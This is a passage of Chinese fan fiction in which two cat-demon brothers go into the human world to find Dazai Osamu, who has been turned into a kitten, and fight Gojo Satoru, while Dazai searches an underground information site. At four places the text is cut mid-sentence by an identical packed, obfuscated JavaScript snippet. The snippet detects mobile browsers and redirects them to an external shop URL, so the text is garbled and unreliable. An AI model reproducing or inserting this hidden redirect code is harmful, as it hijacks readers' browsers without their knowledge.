左耳似乎想起了什么,脸上的表情由惊讶慢慢变成了害怕,“可是,守卫的职责怎么办?我们两个一起偷偷溜出去的话,等回来后管家不会骂我们吧?” “现在想起来我们是守卫了?”右耳拉着左耳往玲的方向前进,“走之前找其他猫代职就行了,又不是什么很重要的工作。” “右耳你真聪明。” “好啊,有事求我叫哥,没事叫我右耳,我可算看透你小子了。” “夸你你都不高兴,你还记得我们是同一时间出生的吗?根本分不出谁是哥哥,谁是弟弟。”左耳不服气地撇嘴,一边被带着走一边小声嘟囔道:“我至少还叫过你哥,你可从来没叫过我哥。” “你说什么?” “嘿嘿没什么,右耳哥。” 两人来到玲面前,听完她的要求后离开被结界笼罩的地方,拜托在附近居住的猫朋友代替守卫,作为交换,他们会带他们想要的礼物回来。 穿过一条石子路,在岔路口向左转,走到尽头,一个挂着【记事屋】木牌的白色古老尖顶房子赫然映入眼帘。 本来满面兴奋的左耳望见这栋看起来有点简陋的房子,打了个哆嗦,往右耳的身后挪了挪。 “二长老一般不会出现的,”右耳立起来的那只耳朵抖了抖,精神抖擞地立正,他撇了一眼自己身后露出来的半拉身体,大步走进记事屋,“别磨磨蹭蹭的,快点进来。” 眼见右耳已经跨过了门槛,左耳站在原地给自己打气,壮着胆子接近记事屋,在门槛处往里探头,鬼鬼祟祟地看了一圈。 果然没发现长老,房子里没多少人,正对着门的方向立着一方长条木质柜台,柜台上放着一个一指宽的记事本,封面是牛皮做的,上面烫金的记事本三个大字熠熠生辉。 旁边立着一个笔架,钢笔、毛笔、签字笔等等各种类型的笔整齐挂在上面,柜台后面则坐着一个打瞌睡的老年猫妖,连他们两进来了都不知道。 没打扰老年猫妖,右耳走到柜台前,上半身前倾,几乎趴在柜台上,选了一根签字笔,假装很熟练地打开记事本,翻到最新的一页,埋着头在上面一笔一划地写字。 【猫之左,17岁,申请外出西吉市,研学旅行,时间半年。】 纸上的字迹端正中透着一丝呆板,似乎写字的人不太熟练。 后面传来逐渐靠近的脚步声,右耳握着笔,停顿了一下,脚步声很熟悉——左耳总算是过来了,还以为他会在大门口再磨蹭一会儿。 “右耳,帮我也写上呗,写字好难啊,能够认得那些字不就行了,为什么我们非得学着写字啊?”左耳黏黏糊糊的声音传到了他的耳朵里,右耳在心底翻了白眼,早就给你写上了,傻瓜。 他没说话,继续在下一行写上——【猫之右,17岁,申请外出西吉市,研学旅行,时间半年。】 猫之一族所有猫妖从猫之境出去都要来记事屋做一次简单的登记,记录下自己出去是去哪里,干什么,大概去多久。 一般情况下,并不会真的有猫妖会去调查这些登记在册的同族出去后到底干了什么事情,所以这种登记基本上只要面子上过得去就可以了。 但如果真的有事发生,他们可以根据记录点对点地找到对应的同族。 未成年猫妖出去会比成年猫妖出去管得更严格一点,一般的理由不容易通过,研学旅行这个理由通过的几率最大。 这是右耳平时从同龄猫那里收集来的消息。 时间大概过去半分钟后,记事本上那两栏右耳刚写上去的字闪过墨色光芒,随即右边空行一格里出现鲜红的“通过”两个端正的楷体字。 “哇,通过了!”凑到旁边看着他写的左耳原地跳了两下,捂着自己的嘴小声欢呼。 一切搞定,右耳如释重负地合上记事本,放回原位。 虽然表面装得很老成,但这个理由是不是真的会被通过,他心里还是有点打鼓的,毕竟这是他第一次申请外出到人类世界去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593775|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了记事屋,两人来到门口处,一个无处不闪烁着金色流光的地方,光芒若隐若现,就像是有长着翅膀的金边透明小精灵在到处乱飞一样。 前方三颗橡树正好排成一字型的地方就是界限,越过这道界限,他们就会来到人类世界。 猫之境是一个小型外境,大概64平方千米大小,和人类世界只有一线重合,重合的地方被称之为‘门口’。 门口固定在一个不为人知的深山老林中,没有人带领的话几乎无人能发现。 小型外境,用通俗语言来描述,是有别于现实空间的另一个空间,对普通人类来说,去一次猫之境就如同爱丽丝梦游仙境,只是猫之境不同于爱丽丝梦游的仙境,即便是不做梦也可以进去。 通过连结这两个地方的门口,这群猫妖们可以自由来去人类世界。 关闭门口,并不是取消连结,连结是取消不掉的,而是以一种他们辛苦研究出来的无形结界术将门口隐蔽起来。 也就是说,即使有人到了这个地方,只要关闭门口,他们就不会看见金色流光,不能穿过门口,也到不了门后的世界,他们只会看见普普通通的森林,经过的也是普通森林。 越过门口,左耳吸了一口新鲜空气,面色陶醉地道:“人类世界的空气就是不同。” “傻冒,我们猫之境和人类世界的空气是流通的。”右耳丢下一句,脸上却也是掩饰不住的激动。 他抬起头,眼睛直往上方的蓝色天空猛瞧,穿过树叶的点滴阳光明媚得刺眼,叫他的瞳孔缩成了一条细细的直线。 “喂右耳,你快看,‘门’被关上了!”突然,左耳慌张的声音传入他耳中。 右耳匆忙转身,果然,金色的流光消失了,草地,大树还是原来的样子,但在他们的眼中却再普通不过了。 “境里在这个时候关上门干什么?” “我们不会回不去了吧?”左耳穿过三棵橡树组成的那条界限,映入眼帘的仍然是另一边的风景,而不是猫之境那边布满狗尾巴草的样子。 他不死心地来回穿越那条界限,越走越焦急,额上渗出滚滚冷汗。 “喂别走了,你冷静点,”右耳掰住他的肩膀,强行止住他的动作,“境里下周三是要办庆典的,到时候一定会开门,你别太担心了。” “再说了,关门一次的时间绝不会超过一周,到时候门怎么也会打开的。” “呼——”左耳想起来了,关于门的规则族里教过,正是右耳说的那样,他长长地吐出一口气,擦掉脸颊边流下的汗滴,“你说得对。” “那我们现在就离开这里吧,天色有点晚了,”右耳抬起头,天边正缓缓爬上一缕绯红,“再不走就得留在这里过夜了。” “走走走,”左耳这会儿又高兴起来,推着右耳往外走,“去人类世界玩咯~” “不是玩,是有事要做。” “有什么分别吗?” “分别就是我们要先去把玲小姐交代的事情办好,这之后才轮到你说的玩。” “那快点,我们快点过去,”左耳先后竖起两根手指,“先拿回玲小姐要的东西,然后再去找到一个叫做太宰治的流失幼崽。” “玲小姐说看原形,小太宰大概只有三岁,是一只小黑猫,这么小就要在可怕的人类世界里流浪,真是太可怜了。” 这话一出,连一向喜欢怼他几句的右耳也面露同情,点头道:“所以我们赶紧去把他接回来。” 22.那是我的猫哒 西吉市市区,两只刚进入人类世界的猫妖齐齐仰头,神色呆滞地站在街边。 天色昏沉,头上少数星点早早上班,但眼前的世界却并不是一片黑暗,街边色彩斑斓的霓虹灯竞相争奇斗艳,差点没让刚见识到此等场面的土包子闪瞎了眼。 “哇,好多人,好多灯……”看着眼前五光十色的一幕,左耳的眼球几乎瞪出了眼眶。 一只手拉着右耳的衣服使劲摇动,他的视线却仍盯着街边,在一排排五颜六色的灯牌里流连忘返,“右耳你看到没,比我们那里好看那么多!” 被身边拉扯的动作扯回了神,右耳使劲拔出自己的眼神,故作不屑地道:“也就这种程度吧,我们又不是来看灯的……” 说着他忍不住抬起头,又看了一眼前方矗立的高楼。 楼正面贴了一个十分华丽的灯牌,占据了整个版面,高达256米,闪烁着五彩缤纷的光芒。 真漂亮啊……啊? 右耳迅速黑了脸色,一把扯过左耳,往一侧的公交站走去,“总之我们快点找到去玲小姐的家的路,今天太晚了,正好玲小姐给了我们她家的钥匙,今晚就在那里休息,明天再去办玲小姐交代的事情。” “欸——,别扯,再让我看一眼嘛~”左耳大呼小叫着被拖走了。 站在一张公共路线图面前,右耳耐着性子研究,“从这里坐11路到庆祥街,走600米到公交站,再转5路到……” 站在他旁边的左耳看了一眼就立刻转开眼神,好多线条啊,密密麻麻纠缠在一起,简直是一团乱麻,真亏右耳能看得下去。 “再坐18路……”研究着研究着,右耳的眉头越蹙越高,抓在栏杆上的手指不知何时掐出一个深深的指痕。 耐着性子继续研究了几分钟后,他突然转开脸,大叫道:“啊好麻烦!不坐了,我们自己跑过去。” “早该这样了右耳,公交车那么慢,还没有我们自己跑的快。” 还在这说风凉话,右耳气势汹汹地凑近左耳,捏着他的耳朵尖尖吼道:“还不是你小子,说什么自己跑了这么远的路,腿软不想再跑了。” “右耳哥,是我不对是我不对,”左耳立刻伸手去拔右耳的手,“赶紧放开啦,耳朵都要被你喊聋了。” “哼!” 抖了抖被放开的耳朵,左耳转头瞧了他一眼。 右耳侧着身体,脸也转到了另一边,似乎是在生闷气。 眼珠一转,左耳蹦过去用手肘捅了一下他的腰,同时将脸伸到他面前,笑着央求道:“那我们现在就走吧,右耳哥?” 在他这一捅之下,右耳倒吸了一口冷气,身体也趔趄了一下差点摔倒,顾不得什么,左耳赶紧伸手撑了他一把,表情古怪——他有用这么大的力气吗? 站稳后的右耳仍然侧着脸,没看他,良久后似乎是咬着后槽牙的声音传了出来:“走,现在就走,谁再喊累谁就是小狗!” 左耳偷瞄了他一眼,不敢再乱说话,也不敢再乱动作。 两猫妖找了一个隐蔽的地方,变回两只虎斑猫,嗅着空气中玲小姐留下的气味,飞快地跑起来。 大概一个多小时后,两只虎斑猫在一个小巷里停下来,找了个干净地方,四肢摊开趴在地上休息。 ——自己跑过去真的好远啊,跑了这么久还没到,竟然还有差不多四分之一的路程!这个市区怎么这么大! 左耳把脑袋压在前肢上,眨巴着琥珀色的眼睛,耳朵没精神地耷拉着,舌头也伸了出来,像狗子一样喘个不停。 休息了大概十几分钟,他站了起来,做贼一样前前后后偷瞄了几眼。 已经是夜晚的小巷里,除了偶尔路过的醉鬼之外,没有一个人会出现在这种阴暗的地方,更没有人会注意他们所在的这个角落。 放心地变成人类模样,再根据在族内学到的知识,将猫耳朵和猫尾巴隐去在人类眼中的行迹,左耳吐出一口气,伸手抱起右耳变成的虎斑猫,慢步走出小巷,“右耳哥,我休息好了,我来带你走吧。” 刚走出小巷,迎面走来一个和他一样抱着猫的人类,出于这份奇妙的巧合,左耳多瞄了几眼一人一猫。 他最先注意到的是人类的身高,至少比他们高出一个头,不管在哪里他都没见过长得这么高的人,像看稀奇一样,他多瞄了几眼。 随后他注意到了人类抱着的那只猫,纯黑的毛色,像夜色一般流淌,是很漂亮的颜色。 在心中花样百出地赞美了几遍毛皮颜色之后,他继续往上看,这次他注意到了黑猫的眼睛,那是温暖又澄净的鸢色,一眼之下就如同将自己置身于夕阳之下。 黑色毛皮,鸢色眼睛,不管是哪种颜色都好漂亮,等等,这个描述,他怎么有点耳熟? 想起来了,玲小姐交代的太宰治不就是这个配色? 想到这里,他从前到后仔细观察了一遍,大小,毛色,种类,全对上了——这就是他要找的太宰治吧! 多看了几眼后越发确信自己的判断,左耳精神一震,上前几步,想和黑猫认亲,但才走出三步,他的眉头就不由得蹙了起来。 那只黑猫好像正处于被人挟制的状态,他的两只前爪被一只手抓住,身体也动弹不得,表情看起来就是在生气,很不情愿的样子。 再看那个人类,分明是抓到了猫后心满意足的样子。 这个人类该不会是传说中的抢猫犯吧? 猫之境里流传的十大告诫(又名传说)里,其中有一种就是专门说的这个。 那个告诫里说,人类族群中有一种人,专门以抓猫和抓狗为业,他们抓到了猫和狗之后,就会把他们卖到宠物店去。 这种其实还算是比较好的待遇,更可怕的是,有的猫狗贩子会把猫和狗杀掉,直接卖肉给餐厅,或者把猫肉假装成兔肉、猪肉或羊肉卖出去。 他们到处抓猫,还会趁人不注意偷走别人养的宠物猫,是十分可恶的一种人类。 所以如果在人类世界里,最好一直保持人类模样,如果变回原型,警惕拿着网子靠近的人类,拒绝不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599428|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认识的人类投喂的食物,防备…… 其下十多种专对幼崽教育·防备类型略过。 越想越气,左耳的尾巴竖了起来,琥珀色的双眼里像是燃起了一把火,呼吸也急促起来。 ——该下地狱的抢猫犯! 眼见高个子白发人类再走几步就要越过他,左耳气势汹汹地咆哮一声:“站住,你这个抢猫犯!” “欸——?”五条悟停下,手指着自己,不可置信地睁大那双苍蓝色眼眸,“抢猫犯?你是在说我?” 他还从没有经历过像是今天这样莫名其妙的指控,简直要让人火冒三丈的侮辱! 对,这是侮辱,他五条悟怎么可能去当一个抢猫犯! 但左耳可不管他怎么想,“放下你手中的黑猫,那是我的表……猫!” 最后一个字眼吐露出来的时候,他稍微心虚了一下下,但既然这只黑猫是太宰治,太宰治又是被玲小姐亲自认证的族人,那按照辈分,太宰治应该就是他的表弟了。 他们是这一辈里最小的,再来一个比他们更小的,应该就是表弟吧……? 闹不清该怎么算,那就统统算作表弟好了,计划通.jpg。 既然是表弟了,那就是自己猫,当然也可以算作他家的猫了,再四舍五入一下,那就是他的猫了。 在脑海中列出这一系列等式后,左耳看着五条悟的眼神立刻理直气壮起来。 五条悟:“……” 五条悟都气笑了。 “你说是你的猫就是你的猫了?”他伸出一只手,嘴角也咧了起来,那双天空一般的眼眸里,似乎要卷起积雨云。 手腕转动间,关节和关节碰撞,发出咔嚓、咔嚓的吓人声音,声音停止的那一刻,他朝左耳摊开手,手心朝上,勾了勾食指,云淡风轻地说道:“想跟我抢猫,你大可以上手试试。” 好啊,这个抢猫犯不仅不把猫还回来,态度还这么嚣张,左耳怒从心头起,恨向胆边生,对着手里的右耳叮嘱了一句“等会儿别打扰我。”后,把他放到地面上,撸起两边的袖子,冲了上去。 五条悟仅用一只手应付他,另一只手仍然牢牢地抱着太宰猫不放。 至于战斗场面,用一句话可以描述——就跟爹打儿子似的。 真是叫人和猫都不忍直视。 大概十几分钟后,被打得鼻青脸肿的左耳找了个机会拉开同五条悟之间的距离。 站在二十米开外的草坪处,看着前方一滴汗都没出的白毛高个人类,右眼眼眶乌青,鼻子往下滴血的左耳咬着牙咽下到了喉咙口的痛嘶声,不得不在心里得出一个叫他天崩地裂的结论——自己堂堂一个猫妖竟然打不过一个普通人类! 这些年他在族内的学习莫不是都学到狗肚子里去了? 一张姹紫嫣红的脸拉得老长,左耳单手捂着鼻子,恋恋不舍地偷看了黑猫一眼,弯下腰,动作迅速地用另一只手捞起旁边观战的右耳,丢下一句话后逃之夭夭。 “你等着,总有一天我会回来找你的!” 23.想坑你一把 “嘁,莫名其妙。”五条悟怏怏地撇嘴,要不是看在这人并不是什么坏人的份上,他才不会这么容易就放过他。 还想回来找他,以后这人他见一次打一次。 想起手里的太宰猫,五条悟低头,仔细观察了一遍,“喂你没事吧?” 可别被刚才的战斗不小心蹭到了哪里,这家伙当人的时候看起来就很脆弱,当猫的时候那就更加脆弱了。 黑猫身上全无伤口,倒不如说更加神采奕奕,精神焕发了百倍一般。 那双鸢色眼眸睁得溜圆,猫猫嘴也弯成了三角形,原来那副不情不愿的样子不知何时变成了现在这幅模样。 他……看起来似乎在笑?!! 这绝对是在看他的笑话吧! 五条悟有点拿这喜欢看他笑话的黑猫莫可奈何,打又不能打,只怕他稍一伸手碰一碰,这家伙就要去见阎王了。 负气地揉着黑猫的脑袋,揉得黑猫又开始对他怒目圆瞪后,五条悟才感觉好了一点。 对着怒视他的宰猫,他扬起一个欠揍的笑脸,“没有人打扰了,我们回去吧~” 回去的路上,他们两保持了很久这样一个人‘哭’,另一个人就幸灾乐祸地笑的状态,反正风水轮流转,谁也不吃亏。 回到和纲吉同住的房子里,五条悟才撒开手,自禁锢中得到解放的太宰猫迫不及待地跳下地,却在转身的一刹那,以闪电般的速度给五条悟的胸口添了一爪子,撕开一个老大的口子,彻底报废了他的衬衫。 没想到还有这一出,没来得及防备的五条悟稍一低头,拧着眉头凝视衬衫上的那三道裂口,口子从胸前直延长到腹部,底下块状的腹肌都暴露了出来。 等他再抬起头时,黑猫已经一溜烟跑出老远,单单伸手是够不到的。 但如果真要抓,也是一定办得到的。 他的脚步没动。 半响后,五条悟突然弯起嘴角,眼里也泛起莫名的笑意,“爪子真是锋利~” 随意往后捋了一把头发,他冲着二楼的方向喊了一声:“纲吉,我们回来了哦。” 没有站在原地等回答的意思,五条悟径直走回自己的房间。 刚打开门,他的视线不自觉落到角落的纸箱子那儿,猫窝的状态和出门前一模一样,没有突然长出一只黑猫来,也不知道太宰现在溜到哪里去了。 移开目光,脱下身上破损的浅蓝色衬衫,随手扔到床上,他赤裸着精壮的上半身,径直走到靠墙一侧的米白色衣柜前,打开后翻出一件新的黑色圆领衬衫,给自己套上。 拿着换下来的浅蓝色衬衫,五条悟走到垃圾桶旁,只是稍稍松开手,衣服就往下滑落一截,但就在要完全掉下去的下一刻,他却又勾着衣服一角,将手缩了回来。 盯着这件布满黑猫痕迹的衬衫,五条悟挑了挑眉,突然改变主意,不想随便扔掉了。 ——这上面可全都是太宰治的‘犯罪证据’啊,怎么能就这样不起半点作用地白白扔掉呢? 虽然现在他还没想好这件衬衫能起什么作用。 不过反正他有的是地方,保存一件衬衫也不是什么大事。于是他把这件受到了相当量猫爪攻击的衬衫叠好,放到了衣柜右侧最底层的一个空置的抽屉里。 再次打开房门,五条悟抬眼便瞧见客厅中央的单人米黄色沙发上多了一个人影,纲吉已经从二楼他的房间里下来了。 听到他的脚步声,纲吉转过头来,“五条老师,欢迎回来,太宰君的事情有新进展吗?” “没有,白跑了一趟。”五条悟摇了摇头,走到冰箱边,头也不回地问道:“纲吉你要喝什么?” “家里就只有矿泉水和可乐吧,那我要一瓶可乐。” “OK。”打开冰箱门,拿出两罐罐装可乐,五条悟关上冰箱门,走到沙发边,把其中一罐扔给纲吉,自己打开另一罐,仰起头,大口大口地喝起来。 拎着还剩一小半的可乐,大马金刀地坐到纲吉对面的沙发上,揩掉流到脖子上的黑色液体,五条悟抬起头,“看你一脸为难的样子,你有什么事情想问我?想问就问,别婆婆妈妈的啦~” “……回学校后,那个难搞的化学老师竟然没有骂我,他说有人给我请假了,五条老师,是你给我写的请假条?”一只手握着装着可乐的易拉罐,沢田纲吉用另一只手挠了挠脸颊,脸上露出一点不好意思的意味来,“谢谢……” 没等他说完,五条悟就摆摆手打断他的话,“你要谢也别谢我,我只不过是个代行者,这件事是太宰出的主意啦。” “欸?是太宰君吗?”沢田纲吉的眼里闪过一丝意外,“什么时候?” 五条悟仰起脖子,咕嘟咕嘟一口气喝完剩下的可乐,接着说道:“就在今天下午,我们三个都在医院的时候,他不是借你的手机发了一条短信吗?” “那条短信就是发给我的,他让我给你补上一张请假条,省得你回去被其他人找麻烦。” 说着他挑起一边眉毛,苍蓝色的眼眸看起来比之刚才亮了几度,“自己写请假条自己批,我还是第一次做这种事呢~” “太宰君怎么不告诉我?”一听到还有这种事,沢田纲吉刷的一下站起来,往外走去,“不行,我得去找他当面道谢才行。” “你先坐下,”五条悟长腿一伸,拦在纲吉的前方,挡住他的去路,“那家伙才不想要你的当面道谢呢,给我发的短信里还要我帮他保密来着,你这一去不就把我暴露出去了嘛。” “是这样吗?太宰君为什么……?”沢田纲吉满眼疑惑,想到了什么似的停下,在原地迟疑了一会儿后还是坐了回去。 随手摸了一个蓝色方形抱枕抱在胸前,他仰起脸:“那五条老师你为什么要说出来?” 五条悟眼神一沉,手掌慢慢收紧,空金属罐子在他手里慢慢变形,最后被压缩成五元硬币大小的一块,沉甸甸的,“我是那种他说保密就会帮人保密的人吗?” 无所谓般地抬起手,硬币大小的金属快被抛了出去,发出破空的声音,咻地一下飞向垃圾桶。 ??! 金属砸中金属的声音响起,在这响声中,他笑了起来,纲吉却仿佛看见他的笑容里隐隐飘出一缕黑气,“那家伙可是信错人了。” 喂其实五条老师你是在闹脾气吧!都在说反话了,一定是在闹脾气吧! 是因为不想冒领别人的功劳?还是因为不喜欢在暗地里悄悄帮忙的太宰君最后被当事人无视? 五条老师偶尔也会有这种像个小孩子一样闹别扭的时候啊。 总觉得,这种事情,还是让他们两个自己解决,他不要参与比较好…… 这边两个人在商讨太宰治,太宰治本人……本猫则溜溜达达地跑到了二楼纲吉房间隔壁的书房里。 熟练地变成人形,太宰张开手臂,用了大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611569|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 概一分钟的时间来舒展身体,随后坐到电脑前,开机,打开搜索网站,在搜索栏里键入几个关键字,点击查找。 房间内,清脆的键盘敲击声一刻不停,太宰紧盯着电脑屏幕,无数文字在他眼底逐一流过,屏幕上的画面刷刷刷地不停出现又不停消失。 他想查的是关于猫之一族的信息,网上流传的消息杂乱无章,他既不是出名的黑客,也没有和侦探社编外人员花袋一样的异能,所以大概花了五六分钟时间才搜集了个大概。 幸好这个世界在网络这方面和他的世界并无多大区别,不需要学习额外的网络相关知识,给他省下不少时间成本。 毕竟他变身成人类后的时间是有限的,而且仅仅是这么短暂的时间,似乎都还存着另外的问题。 网上通常会流传些小道消息,其中以讹传讹的部分不少,需要十分用心地辨别出其中真实且有用的部分。 他在这方面倒是没有什么困扰,但他能找到的都只是一些表面信息,比如猫之玲的学生身份,她是从哪个小学升到并盛中学的,她的年纪之类消息。 猫之一族可以由猫变成人类这种绝对能吸引人眼球的事,那是压根没有提到过。 “看来得找找情报贩子。”太宰治停下敲击键盘的手,喃喃自语。 这个世界的情报贩子……应该也没有和他的世界有很大的不同之处吧? 试一试好了,太宰治再次开始敲击键盘,手指的动作快到能看见残影。 这一次屏幕上出现的不是普通的网页,而是充斥着满屏代码和不明图画的绿色页面。几分钟后,太宰渐渐放慢手速,最后敲在enter键上。屏幕全部清空,变成一整块白色,一秒钟后,屏幕中央徐徐浮现暗塔两个纯黑色楷体大字。 点击进入,盯着变化的屏幕,太宰治饶有趣味地勾起嘴角,在心里吹了一声口哨,“好热闹啊~” 【通缉】【委托】【交易】【聊天室】 首页上出现了这四个板块,点击板块可以进入对应的页面。各个板块都有人在交流,一秒能刷新出几十个新消息,看得人眼花缭乱。新人进入这里,说不定要花费上几个小时摸清楚这里的规则,但太宰显然没有那么多的时间。 要不然他还想查一查另一个也叫太宰治的人,关于他被图塔通缉那件事,到底是个什么情况。 现在情报是有了,但要怎么获取,又出现问题了——他没有这个世界的钱。 只能望洋兴叹了吗?或者找合作伙伴敲一笔?想到合作伙伴,他的脑海里顿时浮现出沢田纲吉和五条悟两个人的脸。 沢田纲吉……一想到要找这么个老实孩子要钱,他那不存在的良心都有点过不太去了,坑老实人也不带这么坑的。 就算不提良心,仅考虑现实情况,也不该找纲吉,他毕竟是个还在上学的学生,手上估计没多少钱。 而且上次和纲吉一起去超市时,他想买一只螃蟹,那家伙看起来似乎都有点为难,最后虽然还是买了,但是走出超市时的那个快要哭出来的表情,给他留下了深刻印象,叫他现在想起来都有点麻爪。 果然还是该选五条悟。 如果是坑他,太宰微勾唇角,坏笑起来,不好意思,那是没有一点心理负担呢,就冲最近几天他在他手里吃的亏,选他也是应该的。 那家伙仗着他变成猫之后没有什么反抗能力,可是尽情地在他身上…… 24.猫在悄悄翻电脑 突然有点不好了,太宰赶紧打住自己的回忆,把视线投向电脑屏幕。 虽然没有钱,但他还是挨个点进几个板块,花几分钟时间稍微浏览了一下。 【通缉】里挂着许许多多的通缉令,默认按照赏金从高到低排序,排在第一位的,就是他前天晚上在【恶魔在召唤你】频道里看到过的,另一位也叫太宰治的人。 上次听到这个名字后没过多久他就抵不住困意睡着了,所以他只知道被通缉之人的姓名也叫太宰治,后来因为注意到西索见到他这张脸后的反应,他才知道那个太宰治大概和他长得很像。 在五条悟问他和那个太宰治是什么关系的时候,他特地说他们有同一张脸,并停顿了一下观察对方的反应。 五条悟如他所料一般默认了,没有其他不同寻常的反应,那个时候,他才完全确认自己的猜测。 这次仔细看,他才发现……这位是真的是和他长得一摸一样啊!哦不对,除了眼睛,这人有一只眼睛的颜色和他不同,他的右眼是墨水一般的漆黑。 页面上的介绍显示,通缉犯的年龄为22岁,因为上面附了一张电子相片,所以他这次得以清楚仔细地观察。 相片上这人穿得和他在武装侦探社时大差不差,同样的浅蓝色立领条纹衬衫、黑色马甲和黑色西装裤,但外面搭配的不是卡其色风衣,而是一件黑色修身风衣。 不过,他们的灵魂所在——绷带绑的位置是一摸一样的。 上下扫视了一遍后,他的目光最后定格在相片那人的眼睛上,啧,这种黑暗无望,疯狂压抑,恶意即将溢出的眼神……出现在自己这张脸上真是叫人不适。 换成费奥多尔的样貌该多好。 他撇了撇嘴,忽略掉这一点,注意力集中在其中一只眼睛上。 黑色的…… 食指无意识地轻敲下巴,他一眨不眨地盯着画面不动,神情是一副若有所思的样子。 大概半分钟后,他神态恍惚地眨了眨眼,急促地喘了几下,像是在水底闭气很久的人突然呼吸到新鲜空气一样,紧接着,他无比自然地移开了视线。 这个人,是本世界的太宰治?如果是这样,那么他认识的其他人也会在这个世界里吗?总觉得如果是这种发展的话会非常不妙啊,还是说是另外一种可能…… 线索太少了,可能性太多,无从推断真相是怎样的,而且他现在没有时间在这上面纠缠,他自己身上还带着一桩麻烦,指不定什么时候就会引爆呢。 收回过于深入的思绪,太宰继续往下面浏览,有关这家伙被通缉的原因,通缉令上没有提及,只有寥寥几行被通缉人的简单文字介绍。 在倒数第二行里写着生死勿论这几个重点加粗的大字,最后一行里则表示,抓到了人或者有相关情报,都需要去找图塔的守门人安格斯兑现赏金。 图塔是个什么地方虽然还不清楚,但至少,有一点他还是知道的,那里一定是个和组合一样,甚至比组合更加财大气粗的组织。 这通缉令上的悬赏金额比以前被几家组织联合悬赏过的敦还高,这位是100亿,敦是70亿,整整多出了30亿。 剩下三个板块,顾名思义,【委托】主管发布和接取委托,【交易】为双方提供了一个交易的平台,【聊天室】里大家戴着伪装好的面具互相语言试探。 【交易】包罗万象,任何交易都可以在这里完成。在这里交易,暗塔方会收取5%的手续费,但有一个好处,他们承诺会百分百地保证,交易双方都不得违反定下的交易条件。 从交易量以及风评两方面观察,暗塔的保证很有含金量。 不知道他们用的是什么手段,竟然真的百分百地保证了双方都没有违反定下的交易条件。 这其中在暗地里藏有什么猫腻他还不清楚,但明面上,没有人投诉,也没有人在文字中流露出对暗塔不满的只言片语。 这可不容易,在太宰看来,只靠人类的主观能动性,不管是哪种百分百的保证,要执行几十年之久,交易量还是以万为单位,这完全是一件不可能存在的事情。 一定是有什么超现实的能力在规范他们。 他很快想到了什么,眉目舒展开——这个世界可是有着标签这种超能力体系存在。 如果是这样,那可真是一个了不得的标签呢。 接下来继续观察,【聊天室】分为【私人聊天室】和【公共聊天室】,【私人聊天室】他进不去,进去需要在聊天室入口页面提交房间主人设定的密码。 这地方应该是为了方便交流不想被外人知道的私密信息。 【公共聊天室】倒是可以随便进去,但那里面刷新的信息实在繁多又杂乱,一眼望去又多是些没什么营养的话题,他翻了大概十几秒就退出去了。 后两个板块没找到什么和他有关的信息,但幸运的是,他在【委托】里找到了一份关于他本人的委托,委托人正是猫之千,委托内容是找到他的踪迹。 猫之千也在找他? 盯着委托页面,太宰陷入沉思,从这份委托内容看,把他带到这个世界来的猫之千并不知道他会出现在哪里,所以才会下这种委托。 是控制不了目的地还是能力不稳定? 无声地摇了摇头,太宰看向屏幕,视线落在委托页面的最后两行上,上面委托状态那一栏显示已完成,完成时间是今天下午两点,完成委托的人代号名为风信子。 显然,那只布偶猫已经找到了。 所以,下午那个偷窥他们引起五条悟和沢田纲吉注意的,应该就是这个代号风信子的人了。 这个人暂且可以不管,太宰抬起手,食指轻轻敲击自己的下巴,眉头略微皱了皱——问题是猫之千知道他的踪迹,他却不知道对方的踪迹,情报方面,他落后了不是一点半点,这可不妙啊! 没思考多久,习惯性地清除掉自己在网络上留下的浏览痕迹并关掉电脑,手指离开键盘的下一刻,他就被迫变回了猫。 太宰猫垂下头,举起一只黑乎乎的前爪,粉色肉垫向上,无机质的视线下,梅花形状的爪子一会儿张开,一会儿握紧,如是往复五六次。 ——变成人类后的时间又缩短了。 盯着自己的爪子,太宰猫的眼神倏忽间沉了下来,乍一看像是能把人沉入深海。 等抓到那只罪魁祸首,他一定要好·好地修理它一顿。 至于现在,他放下前爪,爪子碰到椅面的那一刻,无意泄露出来的几分杀气被收敛得一干二净。 视线对准前方地面,他从椅子上跳到地上,动作干脆利落,落地几乎无声。成功着陆后,黑猫四爪齐出,目标明确地向着书房外跑去。 有一点他自己也不知道的是,他现在跑路的姿势猫里猫气,是那种甚至可以给他颁发上岗合格证的程度。 已经称得上是一只标准的猫了呢。 一边跑路,太宰猫一边勤奋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 